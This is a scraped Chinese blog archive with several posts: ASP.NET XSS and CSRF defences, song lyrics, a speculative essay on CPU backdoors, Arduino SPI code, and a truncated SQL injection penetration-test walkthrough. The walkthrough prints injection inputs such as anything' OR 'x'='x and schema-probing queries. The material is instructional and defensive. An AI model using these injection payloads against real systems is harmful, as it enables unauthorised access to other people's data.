![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0759cd5267_5e4d414cgw1eqnq4fq0k4j209i09hwet.jpg) 幸运的是,Microsoft为我们提供了一个组件,我们可以通过nugget或者Library Package Manager Console( Visual Studio > Tools > Library Package Manager > Package Manager Console 输入 Install-Package AntiXss回车 ) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/41e6118ab1_5e4d414cgw1eqnq4goqguj20fb035wf6.jpg) 只需要简单的一句话,就可以移除所有的有害代码,是不是感觉又被Microsoft搞蠢了? ## **CSRF跨站请求伪造** 跨站请求伪造也是一种危险的主流攻击。试想一下,某个用户登录到网站想修改一些个人信息,如果服务器端使用了Forms认证,那么在这个用户登录之后就会得到一个包含身份信息的cookie并且在后面所有这个站点下的请求中传递。当然这个并没有错,毕竟如果每次都去验证用户名和密码是一次不小的开销,验证一次之后将登录信息保存到cookie中,至少在用户不关闭浏览器之前,我们不用再重新去验证用户。 **安全隐患在哪里?** 如果浏览器端依然保留着我的身份信息,那在我访问其他恶意的站点的时候。这些恶意的站点就可以自己封装一个表单并提交到我们的服务器,虽然这个请求时恶意站点伪造的,但是因为它带有用户的身份,所以服务器是会正常处理的。小到更改用户资料,大到转走用户的账户余额都成为可能。 所以我们在处理请求的时候,不仅仅需要验证用户身份信息,还需要确保发送数据的表单是由我们服务器产生的。这样就可以避免其他恶意用户伪造表单发送数据。 **CSRF示例**![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/959fd9fd86_5e4d414cgw1eqnq4h469hj20cz0cz0ub.jpg) 这里有一段很常见的代码,通过Edit Action来编辑用户信息。我们已经为Edit 打上了Authorize属性,也就是说用户是需要登录才能访问这个Action的。从普通开发的角度来看,这个程序是不会有什么问题的,我们首先通过正常渠道添加了一个用户。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7e887c149c_5e4d414cgw1eqnq4hdin0j209m03fglr.jpg) 接下来,很雷很雷的事情发生了。你收到一封邮件说你中奖了,给了你一个链接,或者在某个网站上本身就嵌入了一些恶意代码,而你不幸手一抖,就点了。接下来结果有可能是这样滴。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0480a208b2_5e4d414cgw1eqnq4hrupnj20cr03x3ys.jpg) 你的数据很轻松就被篡改了。如果账号是有余额的,你就哭吧。来看看这个页面 是如何实现的。 ![](http://ww1.sinaimg.cn/mw690/5e4d414cgw1eqnq4i4wogj20lu0bi41w.jpg) 非常的简单,我们只需要将form的action指向实际的action就可以了。这个页面一旦被加载,这个表单就会自动提交,那我们的数据就被黑了,一切都是那么的简单。 **如何避免?** ASP.NET MVC 为我们提供了Html.AntiForgeryToken() 方法,我们只需要在form中添加这句话。MVC 会为我们生成一个唯一标识放在form中的一个隐藏域中,该标识还会被存放到cookie中在客户端和服务器的请求中传输。另外我们要做的就是为我们的Action打上ValidateAntiForgeryToken的属性。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/02147368e7_5e4d414cgw1eqnq4iqmlgj20kp0dctbx.jpg) ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b75b53d65e_5e4d414cgw1eqnq4jzswlj20ca06hjs7.jpg) 如果请求不包含这个cookie,那服务器就会拒绝这个请求,从而避免CSRF的攻击。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/be600c6631_5e4d414cgw1eqnq4kg5mlj20o309477w.jpg) ### 相关文章 * [ASP.Net MVC开发基础学习笔记(1):走向MVC模式](http://blog.jobbole.com/84992/) * [2011年.NET社区回顾:韬光养晦的一年](http://blog.jobbole.com/13591/) * [.NET开发者必备的工具箱](http://blog.jobbole.com/84030/) * [ASP.Net MVC开发基础学习笔记(5):区域、模板页与WebAPI初步](http://blog.jobbole.com/85008/) * [ASP.Net MVC开发基础学习笔记(4):校验、AJAX与过滤器](http://blog.jobbole.com/85005/) * [.Net 开发者必备的11款开发工具](http://blog.jobbole.com/18232/) * [使用缓存的9个误区(上)](http://blog.jobbole.com/17487/) * [ASP.Net请求处理机制初步探索之旅(5):ASP.Net MVC请求处理流程](http://blog.jobbole.com/85033/) * [ASP.Net MVC开发基础学习笔记(3):Razor视图引擎、控制器与路由机制学习](http://blog.jobbole.com/84991/) * [ASP.Net MVC开发基础学习笔记(2):HtmlHelper与扩展方法](http://blog.jobbole.com/84997/) [ASP.NET 安全](http://blog.jobbole.com/85573/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## Streets of London Date: 2015-03-04 URL: https://blog.wo.ai/archives/908 Categories: Music, Music & Movie 你看见过一个老人在关闭的市场里,用他破旧的鞋子踢打报纸吗?他的眼光里没有骄傲,腋下夹着昨日的报纸讲着昨日的故事. 你怎么能说你就是孤单的,你的太阳并没有照耀着你?让我拉着你的手领你到伦敦的街头,那里有些人和事会改变你的看法. 午夜十一点半的咖啡馆,老人孤独地坐着,透过茶杯他凝视这世界,一杯茶捱过一个时辰,末了他一个人蹒跚回家.... 这首名为《Streets of London》(伦敦街头)的歌,写的是伦敦街头的老人,以及歌手对老人的悲悯情怀,苍凉的画面、忧郁的吉他声,安抚着无数落寞的心。不知道几十年后我们不再年轻,那时回想起来会是何种心情,是否像歌里唱得那样,当繁华落尽,等待我们的将会是什么。雨带着一点怜悯在哭泣,为不止一个被忘却的英雄和不在乎他们的世界…… Ralph McTell – Streets of London 倫敦的街道 [![1370531339667263_21](/wp-content/uploads/2015/03/1370531339667263_21.jpg)](/wp-content/uploads/2015/03/1370531339667263_21.jpg)Sprial Staircase Have you seen the old man 你可曾见过那么老的一个人 In the closed down market 在市场打烊后 Kicking up the papers with his worn out shoes 拖着他破烂了的鞋子踢着被丢弃的报纸 In his eyes you see no pride 在他的眼睛里你看不到自豪的神采 Hands held loosely at his side 双手散漫的垂在身旁 Yesterday’s paper, telling yesterday’s news 过期的报纸上,写着过期的故事 So how can you tell me you’re lonely 你怎么能告诉我你是孤独的呢 And say for you that the sun don’t shine 说太阳都不肯为你散发光亮 Let me take you by the hand 让我牵着你的手 And lead you through the streets of London 带着你走过伦敦的街头吧 I’ll show you something 让你看看那儿发生的事情 To make you change your mind 它们会把你来改变 Have you seen the old girl 你可见过那年华不再的女子 Who walks the streets of London 姗姗走过伦敦的街头 Dirt in her hair and her clothes in rags 披着她灰脏的头发和碎破的衣服 She’s no time for talking 她没有空儿停下来聊点什么 She just keeps right on walking 就只是一劲儿向前走着 Carrying her home in two carrier bags 带着两只旅行包,那是她的全部家当 So how can you tell me you’re lonely 所以你怎么能告诉我你是孤独的呢 And say for you that the sun don’t shine 说连太阳都不肯把你照耀 Let me take you by the hand 让我牵着你的手 And lead you through the streets of London 带着你走过伦敦的街头吧 I’ll show you something 让你看看那儿发生的事情 To make you change your mind 它们会把你来改变 In the old night cafe at a quarter past eleven 十一点一刻,古旧的咖啡夜店里 The same old man sitting there on his own 还是那同一个老人独自坐在那儿 Looking at the world over the rim of his teacup 越过他茶杯的边缘看着这个世界 Each tea lasts an hour, and he wanders home alone 每一杯他都会喝一个小时,然后拖着孤独的脚步回家去 Have you seen the old man 你见过那些老去的男人们吗 Outside the seaman’s mission 他们结束了海上的漂泊使命 Memory fading with the minor ribands that he wears 记忆和他佩戴的缎带一起慢慢褪色 In our winter city the rain cries little pity 在这个城市的冬季,细雨呜咽出辛酸的惋惜 For one more forgotten hero 为着被遗忘的英雄 And a world which doesn’t care 和这毫不为此牵挂的世界 So how can you tell me you’re lonely 所以你怎么能告诉我你是孤独的呢 And say for you that the sun don’t shine 说连太阳都不肯把你照耀 Let me take you by the hand 让我牵着你的手 And lead you through the streets of London 带着你走过伦敦的街头吧 I’ll show you something 让你看看那儿发生的事情 To make you change your mind 它们会把你来改变 --- ## CPU也可以有后门? Date: 2015-03-03 URL: https://blog.wo.ai/archives/906 Categories: Uncategorized **CPU的后门** 人们普遍认为,任何一款软件都可以通过后门被破坏。举几个比较有代表性的例子如:[Sony/BMG的安装程序](http://en.wikipedia.org/wiki/Sony_BMG_copy_protection_rootkit_scandal),有个内置的后门禁止用户复制CD,这个后门也使得恶意的第三方能接管任何安装了该软件的机器;[三星Galaxy](http://redmine.replicant.us/projects/replicant/wiki/SamsungGalaxyBackdoor),它有个后门允许调制解调器访问设备的文件系统,这也就允许了任何[一个假基站来访问设备上的文件](https://www.youtube.com/watch?v=RXqQioV_bpo);以及[Lotus Notes](http://www.cypherspace.org/adam/hacks/lotus-nsa-key.html),它有个后门能使加密失败。 尽管后门多见于[FPGA](http://www.cl.cam.ac.uk/~sps32/sec_news.html#Assurance)和[网络设备](https://github.com/elvanderb/TCP-32764),但每当有人提起CPU上的后门程序是否可能的时候,大部分情况下大家都会断言这是[不可能的](https://news.ycombinator.com/item?id=6147767)。我不会断言CPU后门程序是存在的,但我会断言,如果有正确的访问权限,实现就很容易了。 比方说,你想制造出一个后门。你要怎么做呢?这要分三个环节:一个CPU后门能做什么,要怎样才能访问这个后门,需要什么样的让步才能安装该后门? 从第一个环节开始,后门能做什么?这就有很多很多的可能。最简单的就是提升权限:使CPU[从ring3过渡到ring0或SMM](http://en.wikipedia.org/wiki/Protection_ring),给正在运行的进程的内核级别的权限。因为它是负责运行的CPU嘛,完全可以无视硬件和软件虚拟化。你可以做很多更微妙或更具侵略性的事情,但权限提升不仅够简单,而且够强大,所以我就不再打算讨论其他的选项。 现在你知道了你想要借后门做什么,那么究竟应该如何触发后门呢?理想情况下,它应该既不会被人碰巧运行到,也无法通过暴力寻找到。即使有这样的限制,可能的触发状态空间仍旧是巨大的。 让我们来看一个特定的指令,`fyl2x`[1]。在正常操作下,它需要两个浮点寄存器作为输入,给您`2*80=160`位(bits)来隐藏一个触发器。如果你通过一对特定值来触发一个后门,可能相对于随机筛选更安全些。如果你真的很担心后门被人意外发现或暴力破解掉,你也可以检查两个正常输入寄存器以外的值(毕竟,你控制着整个CPU啊)。 这个触发器简单有效,但不足之处是要触发它很可能需要运行本机代码,但你其实不可能让Chrome或Firefox发出一个`fyl2x`指令。通过相对容易地令JavaScript引擎发出指令(像`fadd`),你可以尝试变通地去解决这个问题。与此相对的问题是,如果你想要patch一条add指令,并对它添加一些检查,它就会显著地变慢(尽管如此,如果你可以改写硬件,你应该能够无开销地完成它)。通过patch一个[rep字符串](http://www.csc.depauw.edu/~bhoward/asmtut/asmtut7.html)指令,做一些事情来设置恰当的“key”,接在块拷贝(block copy)后面,或者`idiv`,也有可能可以创造一些难以检测并可以通过JavaScript来触发的后门。或者,如果你已经成功地得到了设计的副本,你也许可以想出一个办法,当任意一些JavaScript运行的时候,来使用调试逻辑触发器[2]或性能计数器去引发一个后门。 好了,现在你已经有一个后门了。那么你怎么植入该后门呢?在软件方面,你可以编辑源代码或[二进制文件](http://danluu.com/edit-binary/)。在硬件方面,如果你有机会到访问到源,你可以在跟在软件中一样容易进行编辑。对硬件重编译源代码,建物理芯片,有着极高的固定成本;如果你试图让你的更改编入源代码,你要么牺牲设计[3],在一切被发送去生产之前就植入你的所有更改,要么牺牲生产过程,在最后一刻[4]偷偷植入你的更改。 如果这听起来太难了,你可以尝试牺牲补丁机制。多数现代的CPU配备了一个内置的补丁机制,允许事后的bug修复。你使用的CPU可能早就已经被修补过,也许从第一天开始就是,以作为固件更新的一部分的名目。你CPU补丁机制的细节是严格保密的。这很有可能是CPU上被蚀刻了一个公共密钥,这样它就只能接受已经签署了正确私钥的补丁。 这就是实际正在发生的事吗?我不知道。它可能发生吗?当然可能。有多大几率呢?唔,主要的挑战是非技术性的,所以我不是那个能给出这个问题答案的人。如果非要我猜的话,我会说不是,如果没有除了[容易破坏其它设备](https://github.com/elvanderb/TCP-32764)以外的原因的话。 我还没有讨论如何制作这样一个后门:即使有人能够访问你用来触发后门的软件,也还是很难发现它。这更难,但是一旦芯片开始使用内置[TPM](http://en.wikipedia.org/wiki/Trusted_Platform_Module)的话,它就应该有可能了。 如果你有兴趣听到更多关于CPU内部的工作原理,你可能会对[这篇关于过去35年内CPU的新功能的帖子](http://danluu.com/new-cpu-features/)感兴趣。 **更新** 关于这个话题更多的讨论见[这条twitter主题](https://twitter.com/danluu/status/562962211782815746)。那里有一些非常好的评论。我对其中的一部分进行了摘录和总结,不过该帖子的讨论仍在继续。 因为有太多评论的缘故,我在此不一一指出哪些评论是谁的,尽管如此,以下是评论的作者们:@hackerfantastic, Arrigo Triulzi, David Kanter, @solardiz, @4Dgifts, Alfredo Ortega, Marsh Ray, 以及Russ Cox。当然,要是弄错了的话就怪我咯。 [AMD的K7和K8对他们的微码(microcode)补丁机制作出了牺牲](http://www.realworldtech.com/forum/?threadid=35566&curpostid=35566),因此容许了本帖所提到的这种攻击。事实上,AMD并没有加密它的更新或者至少对它的checksum进行验证,这让你能轻松地更改它的更新,直到你得到一个能达成你目的的CPU。 下面是由Alfredo Ortega[出于演示目的而创建的一个后门的例子](http://es.slideshare.net/ortegaalfredo/deep-submicronbackdoorsortegasyscan2014slides)。 对于没有硬件背景的亲们,[这里有个不错的关于如何用VHDL实现一个CPU的谈话,里面还有个章节是关于如何实现后门的](http://media.ccc.de/browse/congress/2013/30C3_-_5443_-_en_-_saal_g_-_201312281830_-_introduction_to_processor_design_-_byterazor.html#video)。 是否有可能通过提供恶意的随机结果来利用RDRAND制造后门?是的,有可能。我在本帖的第一稿提到过,但我后来删掉了这个方法。因为在我的印象中,人们不信任RDRAND而且结果中一般混合了其他熵(entropy)来源。这不会彻底使这个后门无效,但却也显著地降低了它的价值。 有没有可能来存储和释放AES-NI键?要偷偷闪存内容到一个芯片上而不被任何人注意到,这大概不太可行,但是,现代芯片的逻辑分析仪能让你对数据进行存储和转储。尽管如此,对它们的访问是通过一些秘密的机制,目前还不清楚要如何访问二进制文件,才能允许你对它们进行逆向工程。与此形成鲜明对比的是K8逆向工程,它是可能的,因为微码(microcode)补丁被包括在固件更新中。 要检查触发器的指令前缀是可能的。 x86允许你对指令添加多余(和矛盾)的前缀。使用过的前缀都被很好的定义过,所以你可以根据需要添加尽可能多(不超过前缀长度限制)的前缀,而不会造成任何问题。它的问题是,很难不牺牲该微码(microcode)补丁的性能,对前缀数目和长度的限制则意味着:若不跨指令追踪状态,你的有效密钥长度就会比较短,并且你只能通过本地代码来生成触发器。 我们都知道,上文所述的一切都基于推测,其实并没有人见过真实世界里被应用的CPU后门。 **致谢** 感谢Leah Hanson大量的评注,Aleksey Shipilev的建议,以及众多参与者在上文所提到的twitter主题贴中的讨论。此外,感谢Markus Siemens注意到在一些RSS阅读器中引发问题的bug,并提供了解决方法。这不是仅仅局限于本帖,但它出现于此。 [1]关于指令的选择是有点,但不是完全,武断的。你可能需要一个缓慢并且微编码过(microcoded)的指令,便于打一个微码补丁,而不会造成巨大的性能损失。本脚注的其余部分是关于对指令进行微编码(microcoded)到底意味着什么。这部分很长,而且并不是本帖的关键点,所以你可以跳过它。 指令被微编码过(microcoded)与在硬件实现间差别多少,其实有点随意/难说。 CPU有一个需要实现的指令集,你可以把它想成公共API。但是在内部,他们其实可以执行不同的指令集,你可以把它想成私有API。 在现代英特尔芯片上,转成四个(或更少)uops(私有API调用)的指令会由解码器直接译成uops。会引发更多uops的指令(从5到数百甚至数千)则由从CPU中小小的ROM或RAM的读取uops的微码引擎来解码。为什么是四而不是五?这个结果是出于权衡,而非基本真理。对此专用的术语尚未规范,但我认识的人会说,如果它的解码是由微码引擎完成的,那么指令是“微编码过的”(“microcoded”),如果它的解码是由标准解码器来处理的,那么就说它是“硬件实现的”。微码引擎有点像自有的CPU,因为它必须能够完成类似,对架构上不可见的临时寄存器进行读取和写入操作,对内部RAM读写需要超过少量寄存器暂存空间的指令,对微码引擎获取和解码的微码指令进行条件微码分支,如此等等。 实现细节往往变化无常(并且通常是机密)。但无论如何实现,你可以把微码引擎想象成CPU启动时加载写有微码(microcode)的RAM,之后从该RAM获取及解码出相应微码(microcode)指令的部件。通过打微码补丁来改变开机加载执行的微码就很容易了。 为了更快的调试周转期,假设英特尔存在这样的机制:使得他们能迫使非微码(non-microcoded)的指令在微码RAM外执行,以使CPU能打微码补丁,是合理甚至可能的。但是,即使这不是这种情况,牺牲微码补丁机制来修改一个微代码指令应该也足够安装一个后门上去了。 [2] 这里的大部分内容都未曾记载于官方文档,但是你可以得到一个高层次的概述:关于英特尔在他们几代前的芯片上制作什么样的调试触发器,于[《Intel Technology Journal》第128页,第4卷,第3期](http://click.intel.com/the-tick-tock-beat-of-microprocessor-development-at-intel.html)。 [3] 在过去的几年中,一直有关于大型企业是否受到了损害以及这可不可能的争论。在冷战期间,政府在各方面的机构受到了长时间不同程度的损害,尽管它能获得不向现在的任何企业开放的对策(外国公民避免,“强化审讯技术”等)。我不确定,我们是否永远都不会知道企业是否受到了损害,但危及当今的企业比起危及在冷战期间的政府机构来说肯定还是容易多了,并且这显然是可行的。 [4]这又是一个关于minutia的超长注脚!特别是,它是关于制造过程的。你可能想要跳过它!如果你没有跳过的话,请别怪我没提醒你哦。 事实证明,在制造完成之前修改芯片是比较容易的,从设计角度来说。要解释为什么的话,我们就得看看芯片是如何制成的。 英特尔芯片的横截面,22纳米制作工艺 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8bc4903e94_b254dc71gw1eprqeqhvucj20bo0c8abd.jpg) “英特尔芯片的横截面,22纳米制作工艺” 当你观察一个[芯片横截面](http://www.intel.com/content/dam/www/public/us/en/documents/presentation/silicon-technology-leadership-presentation.pdf)的时候,可以看到硅门在底部,形成类似[与非门](http://www.nand2tetris.org/)的逻辑原语,在它以上有一系列(标记着M1到M8)的金属层,形成连接不同门的线路。制造过程的卡通模型类似于[传统的石版印刷](http://en.wikipedia.org/wiki/Lithography):芯片由底部向上,一次一层,每层通过沉积一些材料,然后使用掩模蚀刻出来。非卡通的版本则相当复杂的:[据Todd Fernendez估计,大约需要500个步骤来制造出“M1”下面的芯片层](https://www.youtube.com/watch?v=NGFhc8R_uO4)。除此之外,所需精密程度之高使得用于蚀刻的光在设备上造成了太大的磨损。你通常可能不会认为透镜会因为被光线穿过而磨损,但在制作一个晶体管所需的数百个步骤要求的精度水平下,这就是一个严重的问题了。放心吧,你并不是唯一那个会对此觉得惊讶的人。上世纪90年代的[ITRS路线图](http://www.itrs.net/)预测出,到2016年,我们在9纳米工艺(越小越好)上会达到接近30GHz(越高越好),芯片消耗将近300瓦。相反,现在5GHz就被认为相当快了,直至2016年初,任何非英特尔的厂商能在14纳米制作工艺上获得高产出都算是好运气了。制造芯片比任何人猜测的都更难。 一个现代芯片要有足够的芯片层,它从制作开始到结束需要三个月左右的时间。这使bug的出现成为了非常糟糕的状况,因为要修复一个bug,就需要对最底下一个需要三个月来制造芯片层做改动。为了减少bug修复所用的周转时间,典型的做法是在硅片各处散布未使用的逻辑门,那么修复小的bug只需要修改几个接近顶部的芯片层就可以了。由于芯片制作是流水线工艺,在任何时间点,都有几批部分完成的芯片。如果你只需要修改顶部金属层中的一个,那么你可以改动这些半成品,使周转时间从几个月缩短到几周。 由于芯片设计要求易于修改,如果有人能够在它被制造之前访问到芯片的设计(如制造商),那么他就可以使用相对较小的改动引发较大的变化。 [CPU也可以有后门?](http://blog.jobbole.com/84604/),首发于[博客 – 伯乐在线](http://blog.jobbole.com)。 --- ## arduino 使用多个SPI设备 how to running multiple SPI device on arduino Date: 2015-01-25 URL: https://blog.wo.ai/archives/897 Categories: Technology how to running PN532 and W5100 on same board 最近研究arduino开发板,尝试将NFC板(PN532)和网络扩展板(w5100)组合在一起,碰到个问题,这两块板子都是通过SPI总线和arduino通信,同时占用pin10,11,12,13三个口,其中10是片选信号SS。这两个设备始终无法同时工作,出现很多莫名其妙的问题。 [![154149rr5dubo9wbj9wlrw](/wp-content/uploads/2014/09/154149rr5dubo9wbj9wlrw-300x200.jpg)](/wp-content/uploads/2014/09/154149rr5dubo9wbj9wlrw.jpg) 比如我编译IDE自带的webserver程序,设置了ip地址为192.168.1.15,启动以后,ping 192.168.1.15可以通,但在串口接收到 ip地址为192.139.1.15,甚至是192.192.192.192,或者其他乱七八糟的地址。在PC上访问http://192.168.1.15无法打开。拔除NFC扩展板,web访问正常。然后开始漫长google之路。 参考链接 http://arduino.cc/en/Main/ArduinoEthernetShield 1.首先确认两个设备不能使用同一个SS pin,将nfc的nss针插到其他pin(貌似1,2,4,不能使用,4是SD卡的片选),我选择5,然后在arduino的setup里面增加 pinMode(5,OUTPUT); digitalWrite(5,HIGH); 测试同时连接NFC和网络,只初始化网卡,webserver正常;如果同时初始化网卡和NFC,依旧无法访问webserver 参考链接 http://www.circuitsathome.com/mcu/running-multiple-slave-devices-on-arduino-spi-bus 2.继续google,发现两个设备的setBitOrder似乎不同,PN532是LSBFIRST,而网络是WSBFIRST, 找到原因后就简单了,只需要启动不同设备的时候,不仅仅设置SS,还要重新设置SPI的参数。 找到PN532.cpp的begin(),大约在43行,将 pn532_SPI.setDataMode(SPI_MODE0); pn532_SPI.setBitOrder(LSBFIRST); /*Set the SPI frequency to be one sixteenth of the frequency of the system clock*/ pn532_SPI.setClockDivider(SPI_CLOCK_DIV16); 注释掉,然后在自己的程序里面分别写上 void enablePN() { digitalWrite(ETH_SS, HIGH); digitalWrite(NFC_SS, LOW); SPI.setDataMode(SPI_MODE0); SPI.setBitOrder(LSBFIRST); SPI.setClockDivider(SPI_CLOCK_DIV16); delay(10); } void enableETH() { digitalWrite(ETH_SS, LOW); digitalWrite(NFC_SS, HIGH); SPI.setBitOrder(MSBFIRST); SPI.setClockDivider(SPI_CLOCK_DIV4); SPI.setDataMode(SPCR & SPI_MODE_MASK); SPCR &= ~(_BV(DORD)); SPI.setClockDivider( SPCR & SPI_CLOCK_MASK); delay(10); } 需要网卡的时候enableETH,需要NFC的时候启用enablePN,完美解决。 完整测试代码如下: > /* Web Server > * A simple web server that shows the value of the analog input pins. > */ > > #include > #include > #include > byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED }; > > byte ip[] = { 192, 168, 1, 15 }; > > EthernetServer server(80); > #define NFC_DEMO_DEBUG 1 > #define PN532_CS 5 > PN532 nfc(PN532_CS); > > void initNFC() > { > #ifdef NFC_DEMO_DEBUG > Serial.println(“Begin start NFC!”); > #endif > nfc.begin(); > > uint32_t versiondata = nfc.getFirmwareVersion(); > if (! versiondata) { > #ifdef NFC_DEMO_DEBUG > Serial.print(“Didn’t find PN53x board”); > #endif > //while (1); // halt > return; > // skip NFC, continue other step without NFC > } > #ifdef NFC_DEMO_DEBUG > // Got ok data, print it out! > Serial.print(“Found chip PN5”); > Serial.println((versiondata>>24) & 0xFF, HEX); > Serial.print(“Firmware ver. “); > Serial.print((versiondata>>16) & 0xFF, DEC); > Serial.print(‘.’); > Serial.println((versiondata>>8) & 0xFF, DEC); > Serial.print(“Supports “); > Serial.println(versiondata & 0xFF, HEX); > #endif > // configure board to read RFID tags and cards > nfc.SAMConfig(); > } > void NFCReading() > { > uint32_t id; > // look for MiFare type cards > id = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A); > > if (id != 0) { > #ifdef NFC_DEMO_DEBUG > Serial.print(“Read card #”); > Serial.println(id); > #endif > } > } > void WebPrint(EthernetClient client) > { > > if (client) { > // an http request ends with a blank line > boolean current_line_is_blank = true; > while (client.connected()) { > if (client.available()) { > char c = client.read(); > // if we’ve gotten to the end of the line (received a newline > // character) and the line is blank, the http request has ended, > // so we can send a reply > if (c == ‘\n’ && current_line_is_blank) { > // send a standard http response header > client.println(“HTTP/1.1 200 OK”); > client.println(“Content-Type: text/html”); > client.println(); > > // output the value of each analog input pin > client.print(“welcome to tinyos”); > client.println(“
”); > client.print(“//*************************************”); > client.println(“
”); > client.print(“www.tinyos.net.cn”); > client.println(“
”); > client.print(“//*************************************”); > client.println(“
”); > for (int i = 0; i < 6; i++) { > client.print(“analog input “); > client.print(i); > client.print(” is “); > client.print(analogRead(i)); > client.println(“
”); > } > break; > } > if (c == ‘\n’) { > // we’re starting a new line > current_line_is_blank = true; > } else if (c != ‘\r’) { > // we’ve gotten a character on the current line > current_line_is_blank = false; > } > } > } > client.stop(); > } > } > #define ETH_SS 10 > #define NFC_SS 5 > void enablePN() { > digitalWrite(ETH_SS, HIGH); > digitalWrite(NFC_SS, LOW); > SPI.setDataMode(SPI_MODE0); > SPI.setBitOrder(LSBFIRST); > SPI.setClockDivider(SPI_CLOCK_DIV16); > delay(10); > } > > void enableETH() { > digitalWrite(ETH_SS, LOW); > digitalWrite(NFC_SS, HIGH); > SPI.setBitOrder(MSBFIRST); > SPI.setClockDivider(SPI_CLOCK_DIV4); > SPI.setDataMode(SPCR & SPI_MODE_MASK); > SPCR &= ~(_BV(DORD)); > SPI.setClockDivider( SPCR & SPI_CLOCK_MASK); > delay(10); > } > void setup() > { > Serial.begin(9600); > pinMode(10, OUTPUT); > pinMode(5, OUTPUT); > pinMode(4, OUTPUT); > enableETH(); > Ethernet.begin(mac, ip); > server.begin(); > Serial.print(“server is at “); > Serial.println(Ethernet.localIP()); > enablePN(); > initNFC(); > //digitalWrite(5,HIGH); > //digitalWrite(10,LOW); > } > > void loop() > { > // pinMode(4,HIGH); > //digitalWrite(5,HIGH); > //digitalWrite(10,LOW); > enableETH(); > EthernetClient client = server.available(); > WebPrint(client); > enablePN(); > //delay(100); > //digitalWrite(5,HIGH); > //digitalWrite(10,LOW); > NFCReading(); > //delay(100); > } 后记:通过这种方式实现了网络、NFC、SD卡读写的协同工作。 --- ## 实例讲解 SQL 注入攻击 Date: 2015-01-13 URL: https://blog.wo.ai/archives/895 Categories: Uncategorized 一位客户让我们针对只有他们企业员工和顾客能使用的企业内网进行渗透测试。这是安全评估的一个部分,所以尽管我们之前没有使用过SQL注入来渗透网络,但对其概念也相当熟悉了。最后我们在这项任务中大获成功,现在来回顾一下这个过程的每一步,将它记录为一个案例。 “SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。 ![](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c9ff4df809_7cc829d3gw1eo78grikcsj208c08c3zo.jpg) 我们记录下了在多次错误的转折后经历的曲折过程,而一个更有经验的人会有这不同的 — 甚至更好的 — 方法。但事实上我们成功以后才明白,我们并没有完全被误导。 其他的SQL文章包含了更多的细节,但是这篇文章不仅展示了漏洞利用的过程,还讲述了发现漏洞的原理。 # 目标内网 展现在我们眼前的是一个完整定制网站,我们之前没见过这个网站,也无权查看它的源代码:这是一次“黑盒”攻击。‘刺探’结果显示这台服务器运行在微软的IIS6上,并且是ASP.NET架构。这就暗示我们数据库是微软的SQL server:我们相信我们的技巧可以应用在任何web应用上,无论它使用的是哪种SQL 服务器。 登陆页有传统的用户-密码表单,但多了一个 “把我的密码邮给我”的链接;后来,这个地方被证实是整个系统陷落的关键。 当键入邮件地址时,系统假定邮件存在,就会在用户数据库里查询邮件地址,然后邮寄一些内容给这个地址。但我的邮件地址无法找到,所以它什么也不会发给我。 对于任何SQL化的表单而言,第一步测试,是输入一个带有单引号的数据:目的是看看他们是否对构造SQL的字符串进行了过滤。当把单引号作为邮件地址提交以后,我们得到了500错误(服务器错误),这意味着“有害”输入实际上是被直接用于SQL语句了。就是这了! 我猜测SQL代码可能是这样: SELECT fieldlist FROM table WHERE field = '$EMAIL'; $EMAIL 是用户从表单提交的地址,并且这段查询在字符串末端$EMAIL上提供了引号。我们不知道字段或表的确切名字,但是我们了解他们的本质,这有助于我们做正确的猜测。 当我们键入[steve@unixwiz.net](mailto:steve@unixwiz.net)‘ -注意这个末端的引号 – 下面是这个SQL字段的构成: SELECT fieldlist FROM table WHERE field = 'steve@unixwiz.net''; 当这段SQL开始执行,SQL解析器就会发现多余的引号然后中断执行,并给出语法错误的提示。这个错误如何清楚的表述给用户,基于应用内部的错误恢复规程,但一般来说都不会提示“邮件地址不存在”。这个错误响应成了死亡之门,它告诉别人用户输入没有被正确的处理,这就为应用破解留下了可乘之机。 这个数据呈现在WHERE的从句中,让我们以符合SQL规范的方式改变输入试试,看看会发生什么。键入anything’ OR ‘x’=‘x, 结果如下: SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x'; 因为应用不会思考输入 – 仅仅构造字符串 – 我们使用单引号把WHERE从句的单一组成变成了双组成,’x’=‘x**’** 从句是恒成立的,无论第一个从句是什么。(有一种更好的方式来确保“始终为真”,我们随后会接触到)。 但与每次只返回单一数据的“真实”查询不同,上面这个构造必须返回这个成员数据库的所有数据。要想知道在这种情况下应用会做什么,唯一的方法就是尝试,尝试,再尝试。我们得到了这个: * * * 你的登录信息已经被邮寄到了 _[random.person@example.com](mailto:random.person@example.com)_. * * * 我们猜测这个地址是查询到的第一条记录。这个家伙真的会在这个邮箱里收到他忘记的密码,想必他会很吃惊也会引起他的警觉。 我们现在知道可以根据自己的需要来篡改查询语句了,尽管对于那些看不到的部分还不够了解,但是我们注意到了在多次尝试后得到了三条不同的响应: * “你的登录信息已经被邮寄到了邮箱” * “我们不能识别你的邮件地址” * 服务器错误 前两个响应是有效的SQL,最后一个响应是无效的SQL:当猜测查询语句结构的时候,这种区别非常有用。 # 模式字段映射 第一步是猜测字段名:我们合理的推测了查询包含“email address”和“password”,可能也会有“US Mail address”或者“userid”或“phone number”这样的字段。我们特别想执行 SHOW TABLE语句, 但我们并不知道表名,现在没有比较明显的办法可以拿到表名。 我们进行了下一步。在每次测试中,我们会用我们已知的部分加上一些特殊的构造语句。我们已经知道这个SQL的执行结果是email地址的比对,因此我们来猜测email的字段名: SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --'; 